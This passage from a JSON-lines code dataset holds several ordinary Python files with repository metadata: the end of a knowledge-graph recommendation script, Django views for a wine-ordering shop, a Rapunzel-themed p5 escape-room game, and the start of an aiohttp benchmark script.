uids_p = uids_p.difference([uid]) # exclude source user\n for uid_p in uids_p:\n wids_u_p = set(_get(USER, uid_p, MENTION)) # PRODUCT->PURCHASE->USER->MENTION->WORD\n intersect_nodes = wids_u.intersection(wids_u_p)\n tmp_paths = [(uid, x, uid_p, pid) for x in intersect_nodes]\n paths.extend(tmp_paths)\n # elif len(pattern) == 5: # DOES NOT WORK SO FAR!\n # nodes_from_user = set(self.G[USER][uid][pattern[1][0]]) # USER->MENTION->WORD\n # nodes_from_product = set(self.G[PRODUCT][pid][pattern[-1][0]])\n # if pattern[-2][1] == USER:\n # nodes_from_product.difference([uid])\n # count = 0\n # for wid in nodes_from_user:\n # pids_from_wid = set(self.G[WORD][wid][pattern[2][0]]) # USER->MENTION->WORD->DESCRIBE->PRODUCT\n # pids_from_wid = pids_from_wid.difference([pid]) # exclude target product\n # for nid in nodes_from_product:\n # if pattern[-2][1] == WORD:\n # if nid == wid:\n # continue\n # other_pids = set(self.G[pattern[-2][1]][nid][pattern[-2][0]])\n # intersect_nodes = pids_from_wid.intersection(other_pids)\n # count += len(intersect_nodes)\n # return count\n\n return paths\n\n\ndef generate_embeddings(dataset_str, hop, use_describe=True):\n \"\"\"Note that last entity embedding is of size [vocab_size+1, d].\"\"\"\n print('Load embeddings...')\n state_dict = load_embed_model(dataset_str, hop)\n if use_describe:\n describe_rel = 'describe_as'\n else:\n describe_rel = 'mentions'\n print(state_dict.keys())\n embeds = {\n USER: state_dict['user.weight'].cpu().data.numpy()[:-1], # Must remove last dummy 'user' with 0 embed.\n PRODUCT: state_dict['product.weight'].cpu().data.numpy()[:-1],\n WORD: state_dict['word.weight'].cpu().data.numpy()[:-1],\n BRAND: state_dict['brand.weight'].cpu().data.numpy()[:-1],\n CATEGORY: state_dict['category.weight'].cpu().data.numpy()[:-1],\n RPRODUCT: state_dict['related_product.weight'].cpu().data.numpy()[:-1],\n\n PURCHASE: (\n state_dict['purchase'].cpu().data.numpy()[0],\n state_dict['purchase_bias.weight'].cpu().data.numpy()\n ),\n MENTION: (\n state_dict['mentions'].cpu().data.numpy()[0],\n state_dict['mentions_bias.weight'].cpu().data.numpy()\n ),\n DESCRIBED_AS: (\n state_dict[describe_rel].cpu().data.numpy()[0],\n state_dict[describe_rel + '_bias.weight'].cpu().data.numpy()\n ),\n PRODUCED_BY: (\n state_dict['produced_by'].cpu().data.numpy()[0],\n state_dict['produced_by_bias.weight'].cpu().data.numpy()\n ),\n BELONG_TO: (\n state_dict['belongs_to'].cpu().data.numpy()[0],\n state_dict['belongs_to_bias.weight'].cpu().data.numpy()\n ),\n ALSO_BOUGHT: (\n state_dict['also_bought'].cpu().data.numpy()[0],\n state_dict['also_bought_bias.weight'].cpu().data.numpy()\n ),\n ALSO_VIEWED: (\n state_dict['also_viewed'].cpu().data.numpy()[0],\n state_dict['also_viewed_bias.weight'].cpu().data.numpy()\n ),\n BOUGHT_TOGETHER: (\n state_dict['bought_together'].cpu().data.numpy()[0],\n state_dict['bought_together_bias.weight'].cpu().data.numpy()\n ),\n }\n save_embed(dataset_str, hop, embeds)\n\n\n'''\ndef compute_heuristic_scores(dataset_str, top=1000):\n \"\"\"Compute top k matches of users/products/words compared to users.\n Each computes a matrix of size [n, k], where n is number of users and each element is an int ID.\n These matrix is used to filter edges.\n \"\"\"\n print('Compute heuristic scores...')\n embeds = load_embed(dataset_str)\n user_embed = embeds[USER]\n product_embed = embeds[PRODUCT]\n word_embed = embeds[WORD]\n purchase_embed, purchase_bias = embeds[PURCHASE]\n mention_embed, mention_bias = embeds[MENTION]\n\n # Compute user-user matrix\n t1 = datetime.now()\n u_u_scores = np.matmul(user_embed, user_embed.T)\n u_u_top_matches = np.argsort(u_u_scores, axis=1)\n u_u_top_matches = u_u_top_matches[::, -top:]\n save_top_matches(dataset_str, u_u_top_matches, 'u_u')\n t2 = datetime.now()\n print(u_u_top_matches.shape, (t2 - t1).total_seconds())\n\n # Compute user-product matrix\n t1 = datetime.now()\n u_p_scores = np.matmul(user_embed + purchase_embed, product_embed.T)\n u_p_top_matches = np.argsort(u_p_scores, axis=1)\n u_p_top_matches = u_p_top_matches[::, -top:]\n save_top_matches(dataset_str, u_p_top_matches, 'u_p')\n t2 = datetime.now()\n print(u_p_top_matches.shape, (t2 - t1).total_seconds())\n\n # Compute user-word matrix\n t1 = datetime.now()\n u_w_scores = np.matmul(user_embed + mention_embed, word_embed.T)\n u_w_top_matches = np.argsort(u_w_scores, axis=1)\n u_w_top_matches = u_w_top_matches[::, -top:]\n save_top_matches(dataset_str, u_w_top_matches, 'u_w')\n t2 = datetime.now()\n print(u_w_top_matches.shape, (t2 - t1).total_seconds())\n'''\n\n'''\ndef compute_topk_user_products(dataset_str, topk=100):\n \"\"\"Compute topk user-products in ascending order. (smallest to largest)\"\"\"\n embeds = load_embed(dataset_str)\n user_embed = embeds[USER]\n product_embed = embeds[PRODUCT]\n purchase_embed, purchase_bias = embeds[PURCHASE]\n t1 = datetime.now()\n u_p_scores = np.matmul(user_embed + purchase_embed, product_embed.T)\n print(u_p_scores.shape)\n u_p_top_matches = np.argsort(u_p_scores, axis=1)\n u_p_top_matches = u_p_top_matches[:, -topk:]\n print(u_p_scores[0][u_p_top_matches[0]])\n save_top_matches(dataset_str, u_p_top_matches, 'u_p')\n t2 = datetime.now()\n print(u_p_top_matches.shape, (t2 - t1).total_seconds())\n \n \ndef generate_paths(dataset_str, kg):\n \"\"\"Generate paths for top 10 user-product pairs.\n Path length of 3 is enough.\n \"\"\"\n u_p_matches = load_top_matches(dataset_str, 'u_p')\n for pattern_id in [1, 11, 12, 13, 14, 15, 16, 17, 18]:\n pattern = PATH_PATTERN[pattern_id]\n print('Generate path', pattern)\n paths = []\n counts = []\n for uid in kg.get(USER):\n for pid in u_p_matches[uid][-10:]:\n tmp_paths = kg.heuristic_search(uid, pid, pattern_id)\n paths.extend(tmp_paths)\n counts.append(len(tmp_paths))\n print(np.mean(counts), np.max(counts))\n save_paths(dataset_str, pattern_id, paths)\n'''\n\ndef check_test_path(dataset_str, kg):\n # Check if there exists at least one path for any user-product in test set.\n test_user_products = load_labels(dataset_str, 'test')\n for uid in test_user_products:\n for pid in test_user_products[uid]:\n count = 0\n for pattern_id in [1, 11, 12, 13, 14, 15, 16, 17, 18]:\n tmp_path = kg.heuristic_search(uid, pid, pattern_id)\n count += len(tmp_path)\n if count == 0:\n print(uid, pid)\n\n\ndef main(args):\n # Run following codes for the first time!\n ################## BEGIN ##################\n dataset = load_dataset(args.dataset)\n kg = KnowledgeGraph(dataset)\n kg.compute_degrees()\n save_kg(args.dataset, kg)\n #generate_embeddings(args.dataset, args.hop, use_describe=False)\n ################### END ###################\n\n #compute_topk_user_products(dataset_str, topk=100)\n\n #kg = load_kg(dataset_str)\n # kg.plot_degrees()\n # kg.trim_edges()\n\n # Run following codes to generate paths.\n #generate_paths(dataset_str, kg)\n # check_test_path(dataset_str, kg)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset', type=str, default='cd', help='One of {clothing, cell, beauty, cd}')\n parser.add_argument('--hop', type=int, default=1, help='embedding hop')\n args = parser.parse_args()\n main(args)\n","repo_name":"harsh2kumar/movielens-transe","sub_path":"kg-embedding/knowledge_graph.py","file_name":"knowledge_graph.py","file_ext":"py","file_size_in_byte":16604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"4935432445","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse, JsonResponse\nfrom .forms import CreateUserForm, LoginUserForm, AddWineForm, RatingForm\nfrom django.contrib import messages\nfrom django.contrib.auth.hashers import check_password\nfrom .models import Rating, User, Wine\nimport math\n\n\ndef home(request):\n logged_user, is_logged = get_user(request)\n is_admin = check_if_admin(logged_user)\n\n items_in_cart = get_cart_items_number(request)\n\n rating_dict = {}\n\n wines = Wine.objects.all()\n\n for wine in wines:\n wine_rates = [rating.rate for rating in Rating.objects.filter(wine_id=wine.wine_id) ]\n\n rate_len = len(wine_rates)\n if rate_len:\n mean_rate = sum(wine_rates) / rate_len\n else:\n mean_rate = 0\n mean_rate = round(mean_rate, 1)\n decimal_part = mean_rate - math.floor(mean_rate)\n rating_dict[wine.wine_id] = [rate_len, mean_rate, decimal_part]\n\n data = {\n \"is_logged\": is_logged,\n \"wines\": wines,\n \"items_in_cart\": items_in_cart,\n \"is_admin\": is_admin,\n \"logged_user\": logged_user,\n \"rating_dict\": rating_dict,\n \"star_range\": range(1,5 + 1)\n }\n return render(request, \"ordering_website/home.html\", data)\n\n\ndef registration_page(request):\n if \"email\" in request.session:\n return redirect(\"home\")\n\n items_in_cart = get_cart_items_number(request)\n\n if request.method == \"POST\":\n form = CreateUserForm(request.POST)\n if form.is_valid():\n form.save()\n current_username = form.cleaned_data.get(\"username\")\n print(current_username)\n messages.success(request, \"Account was created successfully\")\n return redirect(\"login\")\n else:\n form = CreateUserForm()\n\n data = {\"form\": form, \"items_in_cart\": items_in_cart}\n\n return render(request, \"ordering_website/registration_page.html\", data)\n\n\ndef login_page(request):\n if \"email\" in request.session:\n return redirect(\"home\")\n\n items_in_cart = get_cart_items_number(request)\n\n form = LoginUserForm()\n if request.method == \"POST\":\n email = request.POST[\"email\"]\n password = request.POST[\"password\"]\n if User.objects.filter(email=email).exists():\n user = User.objects.get(email=email)\n if check_password(password, user.password):\n request.session[\"email\"] = user.email\n return redirect(\"home\")\n else:\n messages.error(request, \"Invalid password for email: \" + user.email)\n else:\n messages.error(request, \"There is no such account\")\n\n data = {\"form\": form, \"items_in_cart\": items_in_cart}\n\n return render(request, \"ordering_website/login_page.html\", data)\n\n\ndef logout(request):\n if \"email\" in request.session:\n del request.session[\"email\"]\n return redirect(\"login\")\n\n\ndef profile(request):\n if \"email\" not in request.session:\n return redirect(\"home\")\n\n logged_user, is_logged = get_user(request)\n is_admin = check_if_admin(logged_user)\n\n items_in_cart = get_cart_items_number(request)\n\n if request.method == \"POST\":\n name = request.POST[\"name\"]\n surname = request.POST[\"surname\"]\n adrress = request.POST[\"adr\"]\n city = request.POST[\"city\"]\n phone = request.POST[\"phone\"]\n zip = request.POST[\"zip\"]\n\n current_user_email = get_user(request)[0].email\n _ = User.objects.filter(email=current_user_email).update(\n name=name,\n surname=surname,\n address_and_number=adrress,\n city=city,\n phone_number=phone,\n zip_code=zip,\n )\n logged_user, _ = get_user(request)\n\n messages.success(request, \"Dane zostały zaktualizowane.\")\n\n data = {\n \"is_logged\": is_logged,\n \"items_in_cart\": items_in_cart,\n \"is_admin\": is_admin,\n \"logged_user\": logged_user,\n }\n\n return render(request, \"ordering_website/profile.html\", data)\n\n\ndef cart_page(request):\n logged_user, is_logged = get_user(request)\n is_admin = check_if_admin(logged_user)\n\n whole_products = []\n total_price = 0\n sum_price = 0\n\n qty = 1\n\n if \"cart\" in request.session:\n for id, qty in request.session[\"cart\"].items():\n wine = Wine.objects.get(pk=id)\n\n dic = request.session[\"cart\"]\n\n if request.method == \"POST\":\n qty = int(request.POST[\"product_\" + str(id)])\n if qty > wine.in_stock:\n messages.error(request, \"Podana liczba przekracza dostępną ilość produktu!\", extra_tags='too_much')\n else:\n dic[str(id)] = qty\n request.session[\"cart\"] = dic\n\n price = dic[str(id)] * float(wine.price)\n whole_products.append([wine, dic[str(id)], price])\n sum_price += price\n\n total_price = round(float(sum_price) + 9.99, 2)\n\n items_in_cart = get_cart_items_number(request)\n\n data = {\n \"is_logged\": is_logged,\n \"whole_products\": whole_products,\n \"items_in_cart\": items_in_cart,\n \"sum_price\": sum_price,\n \"total_price\": total_price,\n \"is_admin\": is_admin,\n \"logged_user\": logged_user,\n }\n return render(request, \"ordering_website/cart_page.html\", data)\n\n\ndef add_to_cart(request, wine_id):\n # del request.session[\"cart\"]\n if \"cart\" not in request.session:\n print(\"New session\")\n request.session[\"cart\"] = {}\n\n wine = Wine.objects.get(pk=wine_id)\n wine_quantity = wine.in_stock\n\n print(wine_id, request.session[\"cart\"].keys())\n if str(wine_id) not in request.session[\"cart\"].keys():\n print(\"New wine\")\n request.session[\"cart\"][str(wine_id)] = 0\n\n dic = request.session[\"cart\"]\n if dic[str(wine_id)] >= wine_quantity:\n return redirect(\"home\")\n\n dic[str(wine_id)] += 1\n request.session[\"cart\"] = dic\n print(request.session[\"cart\"])\n\n return redirect(\"home\")\n\n\ndef remove_from_cart(request, wine_id):\n if \"cart\" in request.session:\n dic = request.session[\"cart\"]\n dic.pop(str(wine_id))\n request.session[\"cart\"] = dic\n\n return redirect(\"cart_page\")\n\n\ndef wine_page(request, wine_id):\n logged_user, is_logged = get_user(request)\n is_admin = check_if_admin(logged_user)\n\n chosen_wine = Wine.objects.get(pk=wine_id)\n\n wine_rates_objs = [rating for rating in Rating.objects.select_related('author').filter(wine_id=wine_id) ][0:5]\n wine_rates_values = [rating.rate for rating in wine_rates_objs ]\n\n rate_len = len(wine_rates_values)\n print(wine_rates_values)\n if rate_len:\n mean_rate = sum(wine_rates_values) / rate_len\n else:\n mean_rate = 0\n mean_rate = round(mean_rate, 1)\n decimal_part = mean_rate - math.floor(mean_rate)\n\n rate = 0\n rate_posted = False\n form = RatingForm()\n\n if is_logged:\n current_user_rate = Rating.objects.filter(author_id=logged_user.user_uid, wine_id=wine_id)\n if current_user_rate:\n rate_posted = True\n\n if \"cart\" not in request.session:\n print(\"New cart session\")\n request.session[\"cart\"] = {}\n\n if \"cart\" in request.session:\n if request.method == \"POST\":\n if str(wine_id) not in request.session[\"cart\"].keys():\n request.session[\"cart\"][str(wine_id)] = 0\n\n for id, qty in request.session[\"cart\"].items():\n if \"product_num\" in request.POST:\n qty = int(request.POST[\"product_num\"])\n\n dic = request.session[\"cart\"]\n\n if dic[str(wine_id)] + qty > chosen_wine.in_stock:\n messages.error(request, \"Podana liczba przekracza dostępną ilość produktu!\", extra_tags='too_much')\n break\n else:\n dic[str(id)] += qty\n request.session[\"cart\"] = dic\n return redirect(\"wine_page\", wine_id)\n\n if \"rate\" in request.POST:\n rate = request.POST[\"rate\"]\n\n if rate:\n form = RatingForm(request.POST)\n\n if form.is_valid():\n desc = form.cleaned_data.get(\"description\")\n # desc = request.POST[\"rate-message\"]\n Rating.objects.update_or_create(wine_id=wine_id, author_id=logged_user.user_uid, rate=rate, description=desc)\n return redirect(\"wine_page\", wine_id)\n\n items_in_cart = get_cart_items_number(request)\n total_obj = Rating.objects.filter(wine_id=wine_id).count()\n\n data = {\n \"is_logged\": is_logged,\n \"wine\": chosen_wine,\n \"items_in_cart\": items_in_cart,\n \"is_admin\": is_admin,\n \"logged_user\": logged_user,\n \"rate_len\": rate_len,\n \"mean_rate\": mean_rate,\n \"decimal_part\": decimal_part,\n \"rate_posted\": rate_posted,\n \"rate_objs\": wine_rates_objs,\n \"total_obj\": total_obj,\n \"form\": form,\n \"star_range\": range(1,5 + 1)\n }\n return render(request, \"ordering_website/wine_page.html\", data)\n\n\ndef load_more(request, wine_id):\n loaded_items = int(request.GET.get('loaded_items'))\n limit = 5\n rate_objs = list(\n Rating.objects.select_related('author')\n .filter(wine_id=wine_id)\n .values(\"rate\", \"description\", \"author__name\", \"author__surname\")[loaded_items:loaded_items + limit])\n data = {'rate_objs': rate_objs}\n return JsonResponse(data=data)\n\n\ndef add_wine_page(request):\n logged_user, is_logged = get_user(request)\n is_admin = check_if_admin(logged_user)\n\n if not is_admin:\n return redirect(\"home\")\n\n items_in_cart = get_cart_items_number(request)\n\n if request.method == \"POST\":\n form = AddWineForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n messages.success(request, \"Wine was created successfully\", extra_tags=\"wine_created\")\n return redirect(\"add_wine_page\")\n else:\n form = AddWineForm()\n\n data = {\n \"is_logged\": is_logged,\n \"is_admin\": is_admin,\n \"form\": form,\n \"items_in_cart\": items_in_cart,\n \"logged_user\": logged_user,\n }\n\n return render(request, \"ordering_website/add_wine_page.html\", data)\n\n\ndef update_wine_page(request, wine_id):\n logged_user, is_logged = get_user(request)\n is_admin = check_if_admin(logged_user)\n\n items_in_cart = get_cart_items_number(request)\n\n if not is_admin:\n return redirect(\"home\")\n\n wine = Wine.objects.get(pk=wine_id)\n form = AddWineForm(instance=wine)\n\n if request.method == \"POST\":\n form = AddWineForm(request.POST, request.FILES, instance=wine)\n if form.is_valid():\n form.save()\n messages.success(request, \"Wine was updated successfully\", extra_tags=\"wine_updated\")\n return redirect(\"wine_page\", wine_id)\n\n data = {\n \"is_logged\": is_logged,\n \"is_admin\": is_admin,\n \"form\": form,\n \"items_in_cart\": items_in_cart,\n \"logged_user\": logged_user,\n }\n return render(request, \"ordering_website/update_wine_page.html\", data)\n\n\n# ------------------ useful functions ---------------------\n\n\ndef check_if_admin(logged_user):\n is_admin = False\n\n if logged_user is None:\n return is_admin\n\n if logged_user.rank == \"admin\":\n is_admin = True\n\n return is_admin\n\n\ndef get_user(request):\n if \"email\" in request.session:\n return User.objects.get(email=request.session[\"email\"]), True\n\n return None, False\n\n\ndef get_cart_items_number(request):\n if \"cart\" not in request.session:\n return 0\n\n items = 0\n for _, k in request.session[\"cart\"].items():\n items += k\n return items\n","repo_name":"Leym4n/subtilia","sub_path":"ordering_website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"13733827956","text":"import js\n\np5 = js.window\na = False\nb=1\nc=0\nsound = None\npassword = [0, 0, 0, 0]\nRapunzelState=0\nwindowState = 0\nprogramState = \"Scene1-0\"\nputChair = 0\ntableState = 0\ngameState = 0\nstarState=0\nimg1 = p5.loadImage('chairinhand.png');\nimg2 = p5.loadImage('teleinhand.png'); \nimg3 = p5.loadImage('lightinhand.png'); \nclass Scene: \n def __init__(self,img,x,y):\n self.img = p5.loadImage(img)\n self.x = 0\n self.y = 0\n \n def draw(self):\n p5.push()\n p5.translate(self.x, self.y)\n p5.image(self.img,0, 0, self.img.width, self.img.height)\n p5.pop()\n\nclass Hand:\n def __init__(self,x):\n self.x = x\n\n def grab(self,object):\n self.x = object\nclass ObjectinScene(Scene):\n pass\n \nclass Conversation:\n def __init__(self,x,y,text):\n self.x = 0\n self.y = 330\n self.text = text\n \n def draw(self):\n p5.push()\n p5.translate(self.x, self.y)\n p5.fill(0)\n p5.rect(0,0,600,70,0)\n p5.fill(255)\n p5.text(self.text, 20, 20)\n p5.pop()\n\nclass Choice:\n def __init__(self,x,y,text,choice1,choice2):\n self.x = 0\n self.y = 330\n self.text = text\n self.choice1 = choice1\n self.choice2 = choice2\n \n def draw(self):\n p5.push()\n p5.translate(self.x, self.y)\n p5.fill(0)\n p5.rect(0,0,600,70,0)\n p5.fill(255)\n p5.text(self.text, 20, 20)\n p5.text(self.choice1,20,40)\n p5.text(self.choice2,20,60)\n p5.pop()\n\n \nScene1 = Scene(\"guizi.png\",0,0)\nSceneFound = Scene(\"chuzi.jpg\",0,0) \nScene2 = Scene(\"lose.png\",0,0)\nScene3 = Scene(\"guanguizi.png\",0,0)\nScene4 = Scene(\"bankailianzi.png\",0,0)\nScene5 = Scene(\"kailianzi.png\",0,0)\nSceneRoom1 = Scene(\"Room1.png\",0,0)\nSceneRoom2 = Scene(\"Room2.png\",0,0)\nSceneRoom3 = Scene(\"Room3.png\",0,0)\nSceneRoom4 = Scene(\"Room4.png\",0,0)\nSceneRoom4noChair = Scene(\"Room4-noChair.png\",0,0)\n\nConversation1 = Conversation(0,250,\"You weak up and you found yourself in a closet, and you heard some people are talking\")\nConversation2 = Conversation(0,250,\"It is too high... I cannot reach it\")\nConversation3 = Conversation(0,250,\"Nov.24th emmm is that her birthday? What are those LIGHTS...?\")\nConversation4 = Conversation(0,250,\"I got a light?\")\nConversation5 = Conversation(0,250,\"Finally, we saw the light togehter\")\nChoice1 = Choice(0,250,\"[Girl]: I want to see those lights\",\"Listen\",\"Get out\")\nChoice2 = Choice(0,250,\"[Woman]:You are going to stay in the tower forever!\",\"Listen\",\"Get out\")\nChoice3 = Choice(0,250,\"You heard a doorslam\",\"Get out\",\"\")\nCR0 = Choice(0,250,\"Who are you? Why are you here?\",\"Err.. Flynn Rider, I was lost\",\"\")\nCR1 = Choice(0,250,\"Put Down My Chair!\",\"Sorry~~\",\"\")\nCR2 = Choice(0,250,\"That's my Telescope. I use it to see those Lights\",\"Lights?\",\"\")\nCR3 = Choice(0,250,\"You found the light?! Are you here to take me to see the lights?\",\"I will take you to see the lights\",\"\")\n\nScene1124 = Scene(\"1124.png\",0,0)\nChair = ObjectinScene(\"Chair.png\",0,0)\nmyHand = Hand(\"Empty\")\nTable = Scene(\"Table.png\",0,0)\nopenTable = Scene(\"openTable.png\",0,0)\ntelescope = Scene(\"telescope.png\",0,0)\nnothingTable = Scene(\"nothingTable.png\",0,0)\nstar = Scene(\"star.png\",0,0)\nnolight = Scene(\"nolight.png\",0,0)\ndef setup():\n\n p5.createCanvas(600, 400) \n global sound\n sound = p5.loadSound('Alan Menken - Waiting for the Lights.mp3')\n\n print('finish setup') \n \n \n \ndef draw():\n global a,programState,b,c,bstring,cstring,windowState,putChair, gameState, RapunzelState, tableState,starState, sound\n\n p5.background(255) \n\n if(programState ==\"Scene1-0\"):\n Scene1.draw()\n Conversation1.draw() \n if(programState==\"Scene1-1\"):\n Scene1.draw()\n Choice1.draw()\n #if(p5.mouseIsPressed == True and p5.mouseY>370 and p5.mouseY<400):\n #programState = \"Scene2-1\"\n #if(p5.mouseIsPressed == True and p5.mouseY>330 and p5.mouseY<370):\n #programState = \"Scene1-2\" \n elif(programState == \"Scene2-1\" ):\n Scene2.draw()\n elif(programState == \"Scene2-0\" ):\n Scene2.draw()\n elif(programState == \"Scene2-3\" ):\n Scene2.draw()\n elif(programState == \"Scene1-2\"):\n Scene1.draw()\n Choice2.draw()\n #if(p5.mouseIsPressed == True and p5.mouseY>370 and p5.mouseY<400):\n # programState = \"Scene2\"\n #if(p5.mouseIsPressed == True and p5.mouseY>330 and p5.mouseY<370):\n # programState = \"Scene1-3\"\n elif(programState == \"Scene1-3\"):\n Scene1.draw()\n Choice3.draw()\n #if(p5.mouseIsPressed == True and p5.mouseY>370 and p5.mouseY<400):\n # programState = \"Scene3\"\n #if(p5.mouseIsPressed == True and p5.mouseY>330 and p5.mouseY<370):\n #programState = \"Scene2-2\"\n elif(programState == \"Scene2-2\"):\n Scene2.draw() \n #if(programState != \"Scene1-1\" and programState != \"Scene1-0\"and programState != \"Scene1-2\" and programState != \"Scene2-1\"):\n #sound.play()\n elif(programState == \"Scene1-4\"):\n SceneRoom1.draw()\n elif(programState == \"Scene3-0\"):\n SceneRoom1.draw()\n if(starState==1):\n star.draw()\n if(starState==2):\n nolight.draw()\n Conversation4.draw()\n myHand.grab(\"Light\")\n if(RapunzelState==1):\n CR1.draw()\n if(RapunzelState==2):\n CR2.draw()\n if(RapunzelState==3):\n CR3.draw()\n if(RapunzelState==4):\n star.draw()\n Conversation5.draw()\n\n \n elif(programState == \"Scene3-1\"):\n SceneRoom2.draw()\n if(myHand.x == \"Chair\" and putChair == 1):\n Chair.draw()\n if(windowState >= 1):\n if(not myHand.x == \"Chair\"):\n Conversation2.draw()\n if(myHand.x == \"Chair\" and windowState == 2):\n Scene4.draw()\n Chair.draw()\n if(myHand.x == \"Chair\" and windowState == 3):\n Scene5.draw()\n Chair.draw()\n if(myHand.x == \"Chair\" and windowState == 4):\n Scene1124.draw()\n Chair.draw()\n Conversation3.draw()\n \n elif(programState == \"Scene3-2\"):\n SceneRoom3.draw()\n elif(programState == \"Scene3-3\"):\n SceneRoom4.draw()\n if(myHand.x == \"Chair\"):\n SceneRoom4noChair.draw()\n if(tableState == 1):\n Table.draw()\n p5.textSize(24)\n p5.text(str(password[0]),308,168)\n p5.text(str(password[1]),342,172)\n p5.text(str(password[2]),376,176)\n p5.text(str(password[3]),410,180)\n if(password[0] == 1 and password[1]==1 and password[2]==2 and password[3]==4):\n tableState=2\n if(tableState==2):\n openTable.draw()\n if(tableState==3):\n telescope.draw()\n if(myHand.x == \"Telescope\"):\n nothingTable.draw()\n \n elif(programState == \"Scene\"):\n if(p5.mouseIsPressed == True and p5.mouseY<200 and p5.mouseY>180 and p5.mouseX>250 and p5.mouseX<300):\n programState = \"Scene1-4-1\"\n elif(programState == \"Scene1-4-1\"):\n Scene4.draw()\n if(p5.mouseIsPressed == True and p5.mouseY<200 and p5.mouseY>180 and p5.mouseX>300 and p5.mouseX<350):\n programState = \"Scene1-4-2\"\n elif(programState == \"Scene1-4-2\"):\n Scene5.draw()\n p5.textSize(12)\n # p5.text('b' + str(b), 10, 30) \n # p5.text('c' + str(c), 10, 40) \n programState = \"Scene\"+str(b)+\"-\"+ str(c)\n # p5.text('program_state = ' + programState, 10, 20) \n # p5.text(\"p5.mouseX = \" + str(p5.mouseX), 10, 60)\n # p5.text(\"p5.mouseY = \" + str(p5.mouseY), 10, 80)\n p5.fill('#F6D3A7'); \n p5.stroke('#A95E3C'); \n p5.strokeWeight(4);\n p5.rect(505, 15, 80, 80);\n\n if(myHand.x == \"Chair\"):\n p5.image(img1, 515, 30)\n if(myHand.x == \"Telescope\"):\n p5.image(img2, 515, 30)\n if(myHand.x == \"Light\"):\n p5.image(img3,515,30)\n if(myHand.x == \"Empty\"):\n p5.strokeWeight(4);\n p5.rect(505, 15, 80, 80);\n p5.noStroke();\n # p5.text(str(windowState),10,90)\n # p5.text(str(tableState),30,90)\n # p5.text(str(gameState),50,90)\n # p5.text(str(starState),50,110)\n # p5.text(str(RapunzelState),30,110)\n # print(myHand.x)\n\ndef keyPressed(event):\n global b,c\n b=1\n c=0\n myHand.grab(\"Empty\")\n \n pass\n\ndef keyReleased(event):\n pass\n\ndef mousePressed(event):\n\n global b,c,windowState,putChair, gameState, RapunzelState, tableState,starState\n if(p5.mouseY>330 and p5.mouseY<370 and b==1):\n c=c+1\n if(p5.mouseY>370 and p5.mouseY<400 and b == 1 and c!=3):\n b=2\n if(b == 1 ):\n if (p5.mouseY>180 and p5.mouseY<220 and p5.mouseX>20 and p5.mouseX<40):\n b=3\n c=0\n if(b == 3):\n if (p5.mouseY>180 and p5.mouseY<220 and p5.mouseX>20 and p5.mouseX<40):\n c=(c-1)%4\n if (p5.mouseY>180 and p5.mouseY<220 and p5.mouseX>560 and p5.mouseX<580):\n c=(c+1)%4\n if(programState == \"Scene3-1\"):\n if(p5.mouseX>263 and p5.mouseX<330 and p5.mouseY<190 and p5.mouseY>100):\n windowState = windowState + 1\n else:\n windowState = 0\n if(myHand.x == \"Chair\" and p5.mouseX>263 and p5.mouseX<330 and p5.mouseY<350 and p5.mouseY>240):\n putChair = putChair + 1\n if(programState == \"Scene3-0\"):\n if(myHand.x == \"Telescope\" and p5.mouseX>110 and p5.mouseX<330 and p5.mouseY>80 and p5.mouseY<350):\n starState=1\n if(starState == 1 and p5.mouseX>340 and p5.mouseX<380 and p5.mouseY>207 and p5.mouseY<223):\n starState=2\n \n if(starState == 1 and p5.mouseX>250 and p5.mouseX<350 and p5.mouseY<70):\n starState=0\n if(starState == 2 and p5.mouseX>250 and p5.mouseX<350 and p5.mouseY<70):\n starState=0\n if(myHand.x ==\"Chair\" and p5.mouseX>300 and p5.mouseX<420 and p5.mouseY>142 and p5.mouseY<350):\n RapunzelState=1\n if(myHand.x ==\"Telescope\" and p5.mouseX>380 and p5.mouseX<420 and p5.mouseY>142 and p5.mouseY<350):\n RapunzelState=2\n if(myHand.x ==\"Light\" and p5.mouseX>300 and p5.mouseX<420 and p5.mouseY>142 and p5.mouseY<350):\n RapunzelState=3\n if(RapunzelState==3 and p5.mouseX<200 and p5.mouseY>350 and p5.mouseY<400):\n RapunzelState=4\n if( p5.mouseX>420):\n RapunzelState=0\n if(programState == \"Scene1-4\" and p5.mouseY>180 and p5.mouseY<220 and p5.mouseX>560 and p5.mouseX<580):\n b=3\n c=1\n \n if(programState == \"Scene1-2\"):\n sound.play()\n sound.loop()\n \n if(programState == \"Scene3-3\"):\n if(p5.mouseX>40 and p5.mouseX<170 and p5.mouseY<388 and p5.mouseY>190):\n myHand.grab(\"Chair\")\n if(p5.mouseX>470 and p5.mouseX<600 and p5.mouseY<350 and p5.mouseY>270):\n tableState=1\n if(p5.mouseY<70 and p5.mouseX>240 and p5.mouseX<360):\n tableState=0\n if(tableState==1):\n if(p5.mouseX>300 and p5.mouseX<320 and p5.mouseY<170 and p5.mouseY>150):\n password[0] = (password[0]+1)%10\n if(p5.mouseX>340 and p5.mouseX<355 and p5.mouseY<174 and p5.mouseY>158):\n password[1] = (password[1]+1)%10\n if(p5.mouseX>375 and p5.mouseX<390 and p5.mouseY<176 and p5.mouseY>161):\n password[2] = (password[2]+1)%10\n if(p5.mouseX>410 and p5.mouseX<430 and p5.mouseY<180 and p5.mouseY>163):\n password[3] = (password[3]+1)%10\n\n if(tableState==2 and p5.mouseX>290 and p5.mouseX<455 and p5.mouseY<181 and p5.mouseY>139):\n tableState=3\n \n if(tableState==3 and p5.mouseX>400 and p5.mouseX<500 and p5.mouseY<130 and p5.mouseY>90):\n myHand.grab(\"Telescope\")\n if(b==4):\n b==3\ndef mouseReleased(event):\n global a\n a = False\n print(a)\n","repo_name":"CatherineJia1/HSCI-234","sub_path":"Final/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30604633622","text":"from datetime import datetime\n\nimport aiohttp\nimport random\nimport asyncio\nimport time\nimport logging\nimport re\n\nfilename = \"experiments/benchmarkPartialPlane.txt\"\ncontainer = \"https://object.cscs.ch/v1/AUTH_61499a61052f419abad475045aaf88f9/bigbrain/\"\nnof_retrievals = 